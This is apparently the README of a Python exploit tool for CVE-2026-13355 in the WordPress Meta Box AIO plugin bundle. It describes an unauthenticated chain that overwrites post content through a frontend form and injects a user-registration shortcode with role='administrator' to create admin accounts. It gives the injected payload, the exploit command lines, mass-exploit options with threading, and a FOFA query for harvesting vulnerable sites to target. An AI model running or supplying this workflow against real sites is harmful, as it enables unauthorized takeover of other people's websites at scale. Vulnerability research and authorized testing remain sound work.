CVE-2026-13355 — Meta Box AIO Unauthenticated Administrator Privilege Escalation

Python 3 proof-of-concept scanner and exploit for CVE-2026-13355 in the WordPress bundle Meta Box AIO (and related MB Frontend Submission / MB User Profile extensions).

Summary

Chained flaws in two bundled extensions allow unauthenticated administrator account creation:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id overrides the form target without auth; Form::process() omits user_can_edit(), so attackers can wp_update_post() and overwrite post_content on arbitrary posts/pages.
2. MB User Profile (mbup) — Injected [mb_user_profile_register role="administrator" auto_login="true"] shortcode attributes are trusted without role validation.

Important: The exploit chain requires a public mbfs (frontend submission) form, not login-only mbup forms. Many FOFA hits only expose mbup login/register UI — those are flagged as plugin_mbup_only, not exploitable via this chain.

Requirements

• Python 3.8+
• pip install -r requirements.txt

Quick start

pip install -r requirements.txt

# Single target — check (live terminal flow by default)
python poc.py -u https://target.example --mode check

# Mass check (one line per target unless --quiet)
python poc.py --list targets.example.txt --mode check --threads 20

# Single target — exploit (needs mbfs form URL + post ID)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# Mass exploit from check output
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → target list

Example query:

body="/wp-content/plugins/meta-box-aio/"

Normalize a FOFA CSV export:

python fofa_to_list.py -i fofa_export.csv
# writes list.txt + normalized CSV (local only, gitignored)
python poc.py --list list.txt --mode check --threads 20

CLI options

Output files

Use --vuln-list exploited.txt on exploit runs so check hits in hits.txt are not overwritten.

Check status values

Exploit notes

• Poison step POSTs post_content through an mbfs form with ?rwmb_frontend_field_object_id=<id>.
• Success requires the injected shortcode to render on the poisoned page (no strip/KSES, patched plugin, wrong form type).
• Contact/newsletter mbfs forms often lack a real post_content field; overwrite may still fail in practice.
• HTTP 403 on POST usually indicates WAF/host blocking.

Repository layout

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

Local scan lists and run artifacts (list.txt, fofa*.csv, *.jsonl, hits*.txt, …) are in .gitignore and should not be committed.

References

• NVD — CVE-2026-13355
• Wordfence advisory
• Meta Box AIO changelog

Legal

For authorized security testing and education only. You are responsible for compliance with applicable laws and program rules.